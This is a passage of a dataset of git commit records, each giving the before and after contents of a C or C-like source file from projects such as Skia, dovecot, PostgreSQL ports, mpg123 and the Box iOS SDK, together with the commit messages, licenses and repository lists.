rocksdb::PerfLevel enum","message":"Add low and upper bound values for rocksdb::PerfLevel enum\n\nSummary:\nAdd under and over limits for rocksdb::PerfLevel enum\nto allow us to do boundary checks before casting ints or unints\nto this enum.\n\nTest Plan: make all check -j32\n\nReviewers: sdong\n\nReviewed By: sdong\n\nSubscribers: andrewkr, dhruba, leveldb\n\nDifferential Revision: https:\/\/reviews.facebook.net\/D58521\n","lang":"C","license":"bsd-3-clause","repos":"wenduo\/rocksdb,facebook\/rocksdb,hobinyoon\/rocksdb,hobinyoon\/rocksdb,hobinyoon\/rocksdb,SunguckLee\/RocksDB,norton\/rocksdb,wat-ze-hex\/rocksdb,norton\/rocksdb,wat-ze-hex\/rocksdb,norton\/rocksdb,SunguckLee\/RocksDB,vmx\/rocksdb,wenduo\/rocksdb,SunguckLee\/RocksDB,wat-ze-hex\/rocksdb,ryneli\/rocksdb,hobinyoon\/rocksdb,bbiao\/rocksdb,Andymic\/rocksdb,jalexanderqed\/rocksdb,ryneli\/rocksdb,tsheasha\/rocksdb,vmx\/rocksdb,ryneli\/rocksdb,wat-ze-hex\/rocksdb,tsheasha\/rocksdb,facebook\/rocksdb,jalexanderqed\/rocksdb,facebook\/rocksdb,ryneli\/rocksdb,norton\/rocksdb,Andymic\/rocksdb,OverlordQ\/rocksdb,OverlordQ\/rocksdb,OverlordQ\/rocksdb,wenduo\/rocksdb,Andymic\/rocksdb,Andymic\/rocksdb,vmx\/rocksdb,hobinyoon\/rocksdb,ryneli\/rocksdb,tsheasha\/rocksdb,hobinyoon\/rocksdb,ryneli\/rocksdb,bbiao\/rocksdb,jalexanderqed\/rocksdb,SunguckLee\/RocksDB,bbiao\/rocksdb,OverlordQ\/rocksdb,bbiao\/rocksdb,Andymic\/rocksdb,Andymic\/rocksdb,OverlordQ\/rocksdb,tsheasha\/rocksdb,facebook\/rocksdb,wat-ze-hex\/rocksdb,norton\/rocksdb,SunguckLee\/RocksDB,hobinyoon\/rocksdb,tsheasha\/rocksdb,OverlordQ\/rocksdb,bbiao\/rocksdb,vmx\/rocksdb,SunguckLee\/RocksDB,jalexanderqed\/rocksdb,vmx\/rocksdb,vmx\/rocksdb,tsheasha\/rocksdb,bbiao\/rocksdb,OverlordQ\/rocksdb,Andymic\/rocksdb,facebook\/rocksdb,wenduo\/rocksdb,tsheasha\/rocksdb,wenduo\/rocksdb,bbiao\/rocksdb,facebook\/rocksdb,wenduo\/rocksdb,facebook\/rocksdb,norton\/rocksdb,vmx\/rocksdb,ryneli\/rocksdb,jalexanderqed\/rocksdb,SunguckLee\/RocksDB,norton\/rocksdb,wenduo\/rocksdb,wenduo\/rocksdb,facebook\/rocksdb,wat-ze-hex\/rocksdb,vmx\/rocksdb,SunguckLee\/RocksDB,bbiao\/rocksdb,wat-ze-hex\/rocksdb,norton\/rocksdb,hobinyoon\/rocksdb,jalexanderqed\/rocksdb,wat-ze-hex\/rocksdb,Andymic\/rocksdb,jalexanderqed\/rocksdb,tsheasha\/rocksdb"}
{"commit":"eb7a693e0f6de7f3baf55f4fc3a744d6b2863c26","old_file":"include\/encode\/SkWebpEncoder.h","new_file":"include\/encode\/SkWebpEncoder.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkWebpEncoder_DEFINED\n#define SkWebpEncoder_DEFINED\n\n#include \"SkEncoder.h\"\n\nclass SkWStream;\n\nnamespace SK_API SkWebpEncoder {\n\n    struct Options {\n        \/**\n         *  |fQuality| must be in [0.0f, 100.0f] where 0.0f corresponds to the lowest quality.\n         *\/\n        float fQuality = 100.0f;\n\n        \/**\n         *  If the input is premultiplied, this controls the unpremultiplication behavior.\n         *  The encoder can convert to linear before unpremultiplying or ignore the transfer\n         *  function and unpremultiply the input as is.\n         *\/\n        SkTransferFunctionBehavior fUnpremulBehavior = SkTransferFunctionBehavior::kRespect;\n    };\n\n    \/**\n     *  Encode the |src| pixels to the |dst| stream.\n     *  |options| may be used to control the encoding behavior.\n     *\n     *  Returns true on success.  Returns false on an invalid or unsupported |src|.\n     *\/\n    bool Encode(SkWStream* dst, const SkPixmap& src, const Options& options);\n};\n\n#endif\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef SkWebpEncoder_DEFINED\n#define SkWebpEncoder_DEFINED\n\n#include \"SkEncoder.h\"\n\nclass SkWStream;\n\nnamespace SkWebpEncoder {\n\n    struct SK_API Options {\n        \/**\n         *  |fQuality| must be in [0.0f, 100.0f] where 0.0f corresponds to the lowest quality.\n         *\/\n        float fQuality = 100.0f;\n\n        \/**\n         *  If the input is premultiplied, this controls the unpremultiplication behavior.\n         *  The encoder can convert to linear before unpremultiplying or ignore the transfer\n         *  function and unpremultiply the input as is.\n         *\/\n        SkTransferFunctionBehavior fUnpremulBehavior = SkTransferFunctionBehavior::kRespect;\n    };\n\n    \/**\n     *  Encode the |src| pixels to the |dst| stream.\n     *  |options| may be used to control the encoding behavior.\n     *\n     *  Returns true on success.  Returns false on an invalid or unsupported |src|.\n     *\/\n    SK_API bool Encode(SkWStream* dst, const SkPixmap& src, const Options& options);\n};\n\n#endif\n","subject":"Move SK_API from namespace to function","message":"Move SK_API from namespace to function\n\nBug: skia:\nChange-Id: Ib538b77c28e323bbcc40634b0f3cd87d88d898e8\nReviewed-on: https:\/\/skia-review.googlesource.com\/16496\nReviewed-by: Mike Reed <f5cabf8735907151a446812c9875d6c0c712d847@google.com>\nReviewed-by: Matt Sarett <bb43c9b8214fcf1292f134c9714ba8a0e7075913@google.com>\nCommit-Queue: Matt Sarett <bb43c9b8214fcf1292f134c9714ba8a0e7075913@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,HalCanary\/skia-hc,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,google\/skia,HalCanary\/skia-hc,google\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,rubenvb\/skia,aosp-mirror\/platform_external_skia,rubenvb\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"b020472a9ad91dd6a7d950aeeb49af36170cd334","old_file":"src\/tests\/marquise_util_test.c","new_file":"src\/tests\/marquise_util_test.c","old_contents":"#include <glib.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"..\/marquise.h\"\n\nextern uint8_t valid_namespace(char *namespace);\nextern char* build_spool_path(const char *spool_prefix, char *namespace);\n\nvoid test_valid_namespace() {\n\tint ret = valid_namespace(\"abcdefghijklmn12345\");\n\tg_assert_cmpint(ret, ==, 1);\n}\n\nvoid test_invalid_namespace() {\n\tint ret = valid_namespace(\"a_b\");\n\tg_assert_cmpint(ret, ==, 0);\n}\n\nint main(int argc, char **argv) {\n\tg_test_init(&argc, &argv, NULL);\n\tg_test_add_func(\"\/valid_namespace\/valid\", test_valid_namespace);\n\tg_test_add_func(\"\/valid_namespace\/invalid\", test_invalid_namespace);\n\treturn g_test_run();\n}\n","new_contents":"#include <glib.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n\n#include \"..\/marquise.h\"\n\nextern uint8_t valid_namespace(char *namespace);\nextern char* build_spool_path(const char *spool_prefix, char *namespace);\n\nvoid test_valid_namespace() {\n\tint ret = valid_namespace(\"abcdefghijklmn12345\");\n\tg_assert_cmpint(ret, ==, 1);\n}\n\nvoid test_invalid_namespace() {\n\tint ret = valid_namespace(\"a_b\");\n\tg_assert_cmpint(ret, ==, 0);\n}\n\nvoid test_build_spool_path() {\n\tchar *spool_path = build_spool_path(\"\/tmp\", \"marquisetest\");\n\tchar *expected_path = \"\/tmp\/marquisetest\/\";\n\tsize_t expected_len = strlen(expected_path);\n\tint i;\n\tfor (i=0; i < expected_len; i++) {\n\t\tif (expected_path[i] != spool_path[i]) {\n\t\t\tprintf(\"Got path %s, expected path with prefix %s\\n\", spool_path, expected_path);\n\t\t\tg_test_fail();\n\t\t}\n\t}\n}\n\nint main(int argc, char **argv) {\n\tg_test_init(&argc, &argv, NULL);\n\tg_test_add_func(\"\/valid_namespace\/valid\", test_valid_namespace);\n\tg_test_add_func(\"\/valid_namespace\/invalid\", test_invalid_namespace);\n\tg_test_add_func(\"\/build_spool_path\/path\", test_build_spool_path);\n\treturn g_test_run();\n}\n","subject":"Add test for spool path construction","message":"Add test for spool path construction\n\nSigned-off-by: Sharif Olorin <f4e2cff0138e8cd5600e8ca295bf078683584659@tesser.org>\n","lang":"C","license":"bsd-3-clause","repos":"anchor\/libmarquise,anchor\/libmarquise"}
{"commit":"41f5a8559f2909ca28cffaa73eb138d6811a598c","old_file":"elixir\/src\/main.c","new_file":"elixir\/src\/main.c","old_contents":"\/\/ Regular C libs\n#include <stdio.h>\n\n\/\/ Elixir libs -- clang doesn't know where the hell this is\n#include \"erl_nif.h\"\n\nstatic ERL_NIF_TERM hello(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[]) {\n\n}\n","new_contents":"\/\/ Regular C libs\n#include <stdio.h>\n\n\/\/ Elixir libs -- clang doesn't know where the hell this is\n#include \"erl_nif.h\"\n\n\/\/ Needs to figure out what ERL_NIF_TERM means\nstatic ERL_NIF_TERM hello(ErlNifEnv *env, int argc, const ERL_NIF_TERM argv[]) {\n\n}\n\nstatic ErlNifFuncs funcs[] = {\n\t{\"hello\", 2, hello}\n};\n\nERL_NIF_INIT(Elixir.Hello, funcs, &hello)\n","subject":"Add basic setup for Elixir binding","message":"Add basic setup for Elixir binding\n","lang":"C","license":"unlicense","repos":"bentranter\/binding,bentranter\/binding,bentranter\/binding"}
{"commit":"943c83c4943e375b18858c770378b2a74cadf74e","old_file":"doc\/doxy_examples.c","new_file":"doc\/doxy_examples.c","old_contents":"\/** \\defgroup mpg123_examples example programs using libmpg123\n\t@{ *\/\n\n\/** \\file mpg123_to_wav.c A simple MPEG audio to WAV converter using libmpg123 (read) and libsndfile (write).\n    ...an excersize on two simple APIs. *\/\n\n\/** \\file mpglib.c Example program mimicking the old mpglib test program.\n\tIt takes an MPEG bitstream from standard input and writes raw audio to standard output.\n\tThis is an use case of the mpg123_decode() in and out function in the feeder mode, quite close to classic mpglib usage and thus a template to convert from that to libmpg123.\n*\/\n\n\/** \\file scan.c Example program that examines the exact length of an MPEG file.\n    It opens a list of files and does mpg123_scan() on each and reporting the mpg123_length() before and after that. *\/\n\n\/** \\file id3dump.c Parse ID3 info and print to standard output. *\/\n\n\/* @} *\/\n","new_contents":"\/** \\defgroup mpg123_examples example programs using libmpg123\n\t@{ *\/\n\n\/** \\file mpg123_to_wav.c A simple MPEG audio to WAV converter using libmpg123 (read) and libsndfile (write).\n    ...an excersize on two simple APIs. *\/\n\n\/** \\file mpglib.c Example program mimicking the old mpglib test program.\n\tIt takes an MPEG bitstream from standard input and writes raw audio to standard output.\n\tThis is an use case of the mpg123_decode() in and out function in the feeder mode, quite close to classic mpglib usage and thus a template to convert from that to libmpg123.\n*\/\n\n\/** \\file scan.c Example program that examines the exact length of an MPEG file.\n    It opens a list of files and does mpg123_scan() on each and reporting the mpg123_length() before and after that. *\/\n\n\/** \\file id3dump.c Parse ID3 info and print to standard output. *\/\n\n\/** \\file feedseek.c Fuzzy feeder seeking. *\/\n\n\/* @} *\/\n","subject":"Add feedseek example to API docs.","message":"Add feedseek example to API docs.\n\n\ngit-svn-id: 793bb72743a407948e3701719c462b6a765bc435@2963 35dc7657-300d-0410-a2e5-dc2837fedb53\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123,Distrotech\/mpg123"}
{"commit":"f6db8b91f5cfb6203727754f5e1cf2a666a1cdba","old_file":"BoxContentSDK\/BoxContentSDK\/QueueManagers\/BOXAPIAccessTokenDelegate.h","new_file":"BoxContentSDK\/BoxContentSDK\/QueueManagers\/BOXAPIAccessTokenDelegate.h","old_contents":"\/\/\n\/\/  BOXAPIAccessTokenDelegate.h\n\/\/  BoxContentSDK\n\/\/\n\/\/  Created by Andrew Chun on 6\/6\/15.\n\/\/  Copyright (c) 2015 Box. All rights reserved.\n\/\/\n\n\/**\n * App Users are full-featured enterprise Box accounts that belong to your application not a Box user. Unlike typical Box accounts, \n * these accounts do not have an associated login and can only be accessed through the Content API by the controlling application \n * and associated Box User ID. This new user model allows your application to take advantage of groups, permissions, collaborations, \n * comments, tasks, and the many other features offered by the Box platform.\n *\n * For more information the documentation is linked below.\n * https:\/\/developers.box.com\/developer-edition\/#app_users\n *\n * BOXAPIAccessTokenDelegate allows developers to make network calls to their own servers to retrieve an access token\n * outside of the normal means of authentication (OAuth2).\n *\n * BOXAPIAccessTokenDelegate is a protocol that should only be conformed to if App Users is being used.\n *\/\n@protocol BOXAPIAccessTokenDelegate <NSObject>\n\n\/**\n * The method is meant to be used to make network requests to acquire access tokens and access token expiration dates.\n *\/\n- (void)fetchAccessTokenWithCompletion:(void (^)(NSString *accessToken, NSDate *accessTokenExpiration, NSError *error))completion;\n\n@end","new_contents":"\/\/\n\/\/  BOXAPIAccessTokenDelegate.h\n\/\/  BoxContentSDK\n\/\/\n\/\/  Created by Andrew Chun on 6\/6\/15.\n\/\/  Copyright (c) 2015 Box. All rights reserved.\n\/\/\n\n\/**\n * App Users are full-featured enterprise Box accounts that belong to your application not a Box user. Unlike typical Box accounts, \n * these accounts do not have an associated login and can only be accessed through the Content API by the controlling application \n * and associated Box User ID. This new user model allows your application to take advantage of groups, permissions, collaborations, \n * comments, tasks, and the many other features offered by the Box platform.\n *\n * For more information the documentation is linked below.\n * https:\/\/developer.box.com\/docs\/app-users and https:\/\/developer.box.com\/docs\/service-account\n *\n * BOXAPIAccessTokenDelegate allows developers to make network calls to their own servers to retrieve an access token\n * outside of the normal means of authentication (OAuth2).\n *\n * BOXAPIAccessTokenDelegate is a protocol that should only be conformed to if App Users is being used.\n *\/\n@protocol BOXAPIAccessTokenDelegate <NSObject>\n\n\/**\n * The method is meant to be used to make network requests to acquire access tokens and access token expiration dates.\n *\/\n- (void)fetchAccessTokenWithCompletion:(void (^)(NSString *accessToken, NSDate *accessTokenExpiration, NSError *error))completion;\n\n@end\n","subject":"Update the App Users documentation links","message":"Update the App Users documentation links","lang":"C","license":"apache-2.0","repos":"box\/box-ios-sdk,box\/box-ios-sdk,box\/box-ios-sdk"}
{"commit":"41cdace7b9f4caf0e21119996ca2d8696c6abae0","old_file":"mud\/home\/Http\/lib\/form\/thing.c","new_file":"mud\/home\/Http\/lib\/form\/thing.c","old_contents":"inherit \"\/lib\/string\/sprint\";\ninherit \"..\/support\";\n\nstatic string thing_form(object obj)\n{\n\tstring buffer;\n\n\tbuffer = \"<h1>Object form<\/h1>\\n\";\n\n\tbuffer += \"<form action=\\\"object.lpc?obj=\" + object2string(obj) + \"\\\" method=\\\"post\\\">\\n\";\n\tbuffer += \"<p>Mass: <input type=\\\"text\\\" name=\\\"mass\\\" value=\\\"\" + mixed_sprint(obj->query_mass()) + \"\\\"\/><\/p><br \/>\\n\";\n\tbuffer += \"<input type=\\\"submit\\\" value=\\\"change mass\\\" \/>\\n\";\n\tbuffer += \"<\/form>\\n\";\n\n\treturn buffer;\n}\n","new_contents":"inherit \"\/lib\/string\/sprint\";\ninherit \"..\/support\";\n\nstatic string thing_form(object obj)\n{\n\tstring buffer;\n\n\tbuffer = \"<h1>Object form<\/h1>\\n\";\n\n\tbuffer += \"<form action=\\\"object.lpc?obj=\" + object2string(obj) + \"\\\" method=\\\"post\\\">\\n\";\n\tbuffer += \"Mass: <input type=\\\"text\\\" name=\\\"mass\\\" value=\\\"\" + mixed_sprint(obj->query_mass()) + \"\\\"\/>\\n\";\n\tbuffer += \"<input type=\\\"submit\\\" value=\\\"change mass\\\" \/>\\n\";\n\tbuffer += \"<\/form>\\n\";\n\n\tbuffer += \"<form action=\\\"object.lpc?obj=\" + object2string(obj) + \"\\\" method=\\\"post\\\">\\n\";\n\tbuffer += \"Local mass: <input type=\\\"text\\\" name=\\\"localmass\\\" value=\\\"\" + mixed_sprint(obj->query_local_mass()) + \"\\\"\/>\\n\";\n\tbuffer += \"<input type=\\\"submit\\\" value=\\\"change local mass\\\" \/>\\n\";\n\tbuffer += \"<\/form>\\n\";\n\n\treturn buffer;\n}\n","subject":"Allow local mass and mass to be set separately by form","message":"Allow local mass and mass to be set separately by form\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"77645b99f438be1a0906126be8052ad36761b1cd","old_file":"src\/include\/port\/bsdi.h","new_file":"src\/include\/port\/bsdi.h","old_contents":"#if defined(__i386__)\n#define NEED_I386_TAS_ASM\n#endif\n#if defined(__sparc__)\n#define NEED_SPARC_TAS_ASM\n#endif\n\n#define HAS_TEST_AND_SET\n\ntypedef unsigned char slock_t;\n","new_contents":"#if defined(__i386__)\n#define NEED_I386_TAS_ASM\n#endif\n#if defined(__sparc__)\n#define NEED_SPARC_TAS_ASM\n#endif\n\n#define HAS_TEST_AND_SET\n\ntypedef unsigned char slock_t;\n\n\/* This is marked as obsoleted in BSD\/OS 4.3. *\/\n#ifndef EAI_ADDRFAMILY\n#define  EAI_ADDRFAMILY\t\t1\n#endif\n","subject":"Add define for missing EAI_ADDRFAMILY in BSD\/OS 4.3.","message":"Add define for missing EAI_ADDRFAMILY in BSD\/OS 4.3.\n","lang":"C","license":"agpl-3.0","repos":"tpostgres-projects\/tPostgres,yuanzhao\/gpdb,chrishajas\/gpdb,ahachete\/gpdb,Postgres-XL\/Postgres-XL,rubikloud\/gpdb,lpetrov-pivotal\/gpdb,yuanzhao\/gpdb,greenplum-db\/gpdb,foyzur\/gpdb,atris\/gpdb,greenplum-db\/gpdb,yuanzhao\/gpdb,postmind-net\/postgres-xl,50wu\/gpdb,rvs\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,Chibin\/gpdb,Quikling\/gpdb,royc1\/gpdb,janebeckman\/gpdb,jmcatamney\/gpdb,lisakowen\/gpdb,ovr\/postgres-xl,lisakowen\/gpdb,lpetrov-pivotal\/gpdb,jmcatamney\/gpdb,ahachete\/gpdb,tpostgres-projects\/tPostgres,xinzweb\/gpdb,jmcatamney\/gpdb,zaksoup\/gpdb,janebeckman\/gpdb,lintzc\/gpdb,0x0FFF\/gpdb,oberstet\/postgres-xl,edespino\/gpdb,cjcjameson\/gpdb,tangp3\/gpdb,tpostgres-projects\/tPostgres,tangp3\/gpdb,xinzweb\/gpdb,rvs\/gpdb,atris\/gpdb,chrishajas\/gpdb,rvs\/gpdb,atris\/gpdb,ashwinstar\/gpdb,kaknikhil\/gpdb,lisakowen\/gpdb,Postgres-XL\/Postgres-XL,Chibin\/gpdb,lisakowen\/gpdb,edespino\/gpdb,jmcatamney\/gpdb,royc1\/gpdb,xinzweb\/gpdb,oberstet\/postgres-xl,atris\/gpdb,CraigHarris\/gpdb,50wu\/gpdb,kaknikhil\/gpdb,yuanzhao\/gpdb,xinzweb\/gpdb,lintzc\/gpdb,50wu\/gpdb,lisakowen\/gpdb,tangp3\/gpdb,Chibin\/gpdb,adam8157\/gpdb,arcivanov\/postgres-xl,kaknikhil\/gpdb,yuanzhao\/gpdb,Quikling\/gpdb,techdragon\/Postgres-XL,adam8157\/gpdb,Chibin\/gpdb,royc1\/gpdb,tangp3\/gpdb,ahachete\/gpdb,adam8157\/gpdb,zaksoup\/gpdb,kmjungersen\/PostgresXL,foyzur\/gpdb,greenplum-db\/gpdb,tangp3\/gpdb,cjcjameson\/gpdb,randomtask1155\/gpdb,arcivanov\/postgres-xl,edespino\/gpdb,kaknikhil\/gpdb,CraigHarris\/gpdb,randomtask1155\/gpdb,ovr\/postgres-xl,chrishajas\/gpdb,randomtask1155\/gpdb,Chibin\/gpdb,foyzur\/gpdb,adam8157\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,adam8157\/gpdb,zaksoup\/gpdb,rvs\/gpdb,Quikling\/gpdb,ashwinstar\/gpdb,arcivanov\/postgres-xl,ashwinstar\/gpdb,CraigHarris\/gpdb,lisakowen\/gpdb,CraigHarris\/gpdb,0x0FFF\/gpdb,kmjungersen\/PostgresXL,arcivanov\/postgres-xl,ashwinstar\/gpdb,lpetrov-pivotal\/gpdb,lpetrov-pivotal\/gpdb,Quikling\/gpdb,xuegang\/gpdb,zeroae\/postgres-xl,pavanvd\/postgres-xl,ahachete\/gpdb,ovr\/postgres-xl,edespino\/gpdb,atris\/gpdb,zaksoup\/gpdb,rvs\/gpdb,postmind-net\/postgres-xl,oberstet\/postgres-xl,postmind-net\/postgres-xl,lpetrov-pivotal\/gpdb,adam8157\/gpdb,randomtask1155\/gpdb,50wu\/gpdb,zeroae\/postgres-xl,cjcjameson\/gpdb,pavanvd\/postgres-xl,zeroae\/postgres-xl,foyzur\/gpdb,zaksoup\/gpdb,janebeckman\/gpdb,kmjungersen\/PostgresXL,techdragon\/Postgres-XL,CraigHarris\/gpdb,xinzweb\/gpdb,zeroae\/postgres-xl,chrishajas\/gpdb,0x0FFF\/gpdb,Postgres-XL\/Postgres-XL,jmcatamney\/gpdb,royc1\/gpdb,0x0FFF\/gpdb,snaga\/postgres-xl,xuegang\/gpdb,edespino\/gpdb,ahachete\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,edespino\/gpdb,ovr\/postgres-xl,ahachete\/gpdb,xuegang\/gpdb,tpostgres-projects\/tPostgres,jmcatamney\/gpdb,Quikling\/gpdb,0x0FFF\/gpdb,kmjungersen\/PostgresXL,50wu\/gpdb,kaknikhil\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,lpetrov-pivotal\/gpdb,tangp3\/gpdb,techdragon\/Postgres-XL,lintzc\/gpdb,rubikloud\/gpdb,royc1\/gpdb,lisakowen\/gpdb,foyzur\/gpdb,snaga\/postgres-xl,techdragon\/Postgres-XL,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,rubikloud\/gpdb,rvs\/gpdb,Quikling\/gpdb,ashwinstar\/gpdb,lintzc\/gpdb,chrishajas\/gpdb,rvs\/gpdb,Chibin\/gpdb,rvs\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,yazun\/postgres-xl,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,atris\/gpdb,kaknikhil\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,0x0FFF\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,xuegang\/gpdb,jmcatamney\/gpdb,xuegang\/gpdb,greenplum-db\/gpdb,yazun\/postgres-xl,tangp3\/gpdb,50wu\/gpdb,0x0FFF\/gpdb,kmjungersen\/PostgresXL,jmcatamney\/gpdb,Chibin\/gpdb,cjcjameson\/gpdb,foyzur\/gpdb,ahachete\/gpdb,royc1\/gpdb,cjcjameson\/gpdb,atris\/gpdb,janebeckman\/gpdb,adam8157\/gpdb,randomtask1155\/gpdb,yuanzhao\/gpdb,rubikloud\/gpdb,Quikling\/gpdb,Chibin\/gpdb,xinzweb\/gpdb,tpostgres-projects\/tPostgres,yazun\/postgres-xl,chrishajas\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,kaknikhil\/gpdb,greenplum-db\/gpdb,janebeckman\/gpdb,yuanzhao\/gpdb,oberstet\/postgres-xl,zeroae\/postgres-xl,arcivanov\/postgres-xl,yazun\/postgres-xl,rvs\/gpdb,postmind-net\/postgres-xl,janebeckman\/gpdb,lisakowen\/gpdb,snaga\/postgres-xl,Quikling\/gpdb,royc1\/gpdb,50wu\/gpdb,oberstet\/postgres-xl,rubikloud\/gpdb,snaga\/postgres-xl,ashwinstar\/gpdb,janebeckman\/gpdb,lintzc\/gpdb,edespino\/gpdb,tangp3\/gpdb,0x0FFF\/gpdb,greenplum-db\/gpdb,chrishajas\/gpdb,CraigHarris\/gpdb,CraigHarris\/gpdb,janebeckman\/gpdb,Postgres-XL\/Postgres-XL,rvs\/gpdb,Quikling\/gpdb,xuegang\/gpdb,snaga\/postgres-xl,zaksoup\/gpdb,yuanzhao\/gpdb,yazun\/postgres-xl,rubikloud\/gpdb,CraigHarris\/gpdb,kaknikhil\/gpdb,pavanvd\/postgres-xl,ashwinstar\/gpdb,atris\/gpdb,lintzc\/gpdb,foyzur\/gpdb,xinzweb\/gpdb,royc1\/gpdb,janebeckman\/gpdb,pavanvd\/postgres-xl,randomtask1155\/gpdb,ahachete\/gpdb,ovr\/postgres-xl,xuegang\/gpdb,xuegang\/gpdb,edespino\/gpdb,greenplum-db\/gpdb,pavanvd\/postgres-xl,Quikling\/gpdb,ashwinstar\/gpdb,Postgres-XL\/Postgres-XL,foyzur\/gpdb,xuegang\/gpdb,postmind-net\/postgres-xl,techdragon\/Postgres-XL,greenplum-db\/gpdb,yuanzhao\/gpdb,randomtask1155\/gpdb,Chibin\/gpdb,janebeckman\/gpdb,CraigHarris\/gpdb,Chibin\/gpdb,lintzc\/gpdb,50wu\/gpdb,rubikloud\/gpdb,adam8157\/gpdb,arcivanov\/postgres-xl"}
{"commit":"4b32efb0f13060b1769d65a16a952b9b02b873a7","old_file":"src\/lib\/mkdir-parents.c","new_file":"src\/lib\/mkdir-parents.c","old_contents":"\/* Copyright (c) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"mkdir-parents.h\"\n\n#include <sys\/stat.h>\n\nint mkdir_parents(const char *path, mode_t mode)\n{\n\tconst char *p;\n\n\tif (mkdir(path, mode) < 0 && errno != EEXIST) {\n\t\tif (errno != ENOENT)\n\t\t\treturn -1;\n\n\t\tp = strrchr(path, '\/');\n\t\tif (p == NULL || p == path)\n\t\t\treturn -1; \/* shouldn't happen *\/\n\n\t\tt_push();\n\t\tif (mkdir_parents(t_strdup_until(path, p), mode) < 0) {\n\t\t\tt_pop();\n\t\t\treturn -1;\n\t\t}\n\t\tt_pop();\n\n\t\t\/* should work now *\/\n\t\tif (mkdir(path, mode) < 0 && errno != EEXIST)\n\t\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n","new_contents":"\/* Copyright (c) 2003 Timo Sirainen *\/\n\n#include \"lib.h\"\n#include \"mkdir-parents.h\"\n\n#include <sys\/stat.h>\n\nint mkdir_parents(const char *path, mode_t mode)\n{\n\tconst char *p;\n\n\t\/* EISDIR check is for BSD\/OS which returns it if path contains '\/'\n\t   at the end and it exists. *\/\n\tif (mkdir(path, mode) < 0 && errno != EEXIST && errno != EISDIR) {\n\t\tif (errno != ENOENT)\n\t\t\treturn -1;\n\n\t\tp = strrchr(path, '\/');\n\t\tif (p == NULL || p == path)\n\t\t\treturn -1; \/* shouldn't happen *\/\n\n\t\tt_push();\n\t\tif (mkdir_parents(t_strdup_until(path, p), mode) < 0) {\n\t\t\tt_pop();\n\t\t\treturn -1;\n\t\t}\n\t\tt_pop();\n\n\t\t\/* should work now *\/\n\t\tif (mkdir(path, mode) < 0 && errno != EEXIST)\n\t\t\treturn -1;\n\t}\n\n\treturn 0;\n}\n","subject":"Check for EISDIR error as well. Fixed problems with BSD\/OS.","message":"Check for EISDIR error as well. Fixed problems with BSD\/OS.\n\n--HG--\nbranch : HEAD\n","lang":"C","license":"mit","repos":"dscho\/dovecot,jwm\/dovecot-notmuch,dscho\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,jkerihuel\/dovecot,dscho\/dovecot,jkerihuel\/dovecot,dscho\/dovecot,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,jwm\/dovecot-notmuch,dscho\/dovecot,jwm\/dovecot-notmuch"}
{"commit":"c504a5c47a93476f4e28208bd8307e79e7340db0","old_file":"JPetReaderInterface\/JPetReaderInterface.h","new_file":"JPetReaderInterface\/JPetReaderInterface.h","old_contents":"\/**\n *  @copyright Copyright 2016 The J-PET Framework Authors. All rights reserved.\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may find a copy of the License in the LICENCE file.\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *  @file JPetReaderInterface.h \n *\/\n\n#ifndef JPETREADERINTERFACE_H \n#define JPETREADERINTERFACE_H \n\n#include <TNamed.h> \/\/ for Event typedef\n\nclass JPetReaderInterface {\n public:\n  typedef TObject MyEvent; \n  virtual ~JPetReaderInterface() {;}\n  virtual MyEvent& getCurrentEvent()=0;   \n  virtual bool nextEvent()=0;\n  virtual bool firstEvent()=0;\n  virtual bool lastEvent()=0;\n  virtual bool nthEvent(int n)=0;\n  virtual long long getCurrentEventNumber() const =0;\n  virtual long long 